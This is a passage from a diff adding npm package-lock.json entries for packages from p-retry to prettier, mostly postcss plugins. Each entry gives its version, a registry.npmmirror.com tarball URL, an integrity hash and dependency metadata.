"sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "dev": true, + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pako": { + "version": "1.0.11", + "resolved": "https://registry.npmmirror.com/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==" + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/parse5/-/parse5-5.1.1.tgz", + "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==", + "dev": true + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-6.0.1.tgz", + "integrity": "sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA==", + "dev": true, + "dependencies": { + "parse5": "^6.0.1" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmmirror.com/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-to-regexp": { + "version": "0.1.10", + "resolved": "https://registry.npmmirror.com/path-to-regexp/-/path-to-regexp-0.1.10.tgz", + "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==", + "dev": true + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-types": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-1.2.1.tgz", + "integrity": "sha512-sQoqa8alT3nHjGuTjuKgOnvjo4cljkufdtLMnO2LBP/wRwuDlo1tkaEdMxCRhyGRPacv/ztlZgDPm2b7FAmEvw==", + "dev": true, + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.2", + "pathe": "^1.1.2" + } + }, + "node_modules/portfinder": { + "version": "1.0.32", + "resolved": "https://registry.npmmirror.com/portfinder/-/portfinder-1.0.32.tgz", + "integrity": "sha512-on2ZJVVDXRADWE6jnQaX0ioEylzgBpQk8r55NE4wjXW1ZxO+BgDlY6DXwj20i0V8eB4SenDQ00WEaxfiIQPcxg==", + "dev": true, + "dependencies": { + "async": "^2.6.4", + "debug": "^3.2.7", + "mkdirp": "^0.5.6" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/portfinder/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/postcss": { + "version": "8.4.47", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.47.tgz", + "integrity": "sha512-56rxCq7G/XfB4EkXq9Egn5GCqugWvDFjafDOThIdMBsI15iqPqR5r15TfSr1YPYeEI19YeaXMCbY6u88Y76GLQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.1.0", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmmirror.com/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://registry.npmmirror.com/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-loader": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "dev": true, + "dependencies": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-loader/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://registry.npmmirror.com/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://registry.npmmirror.com/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dev": true, + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://registry.npmmirror.com/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz", + "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.5.tgz", + "integrity": "sha512-6MieY7sIfTK0hYfafw1OMEG+2bg8Q1ocHCpoWLqOKj3JXlKu4G7btkmM/B7lFubYkYWmRSPLZi5chid63ZaZYw==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/postcss-modules-scope/-/postcss-modules-scope-3.2.0.tgz", + "integrity": "sha512-oq+g1ssrsZOsx9M96c5w8laRmvEu9C3adDSjI8oTcbfkrTE8hx/zfyobUoWIxaKPO8bt6S62kxpw5GqypEw1QQ==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dev": true, + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmmirror.com/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dev": true, + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmmirror.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmmirror.com/prettier/-/prettier-2.8.8.tgz", + "integrity": 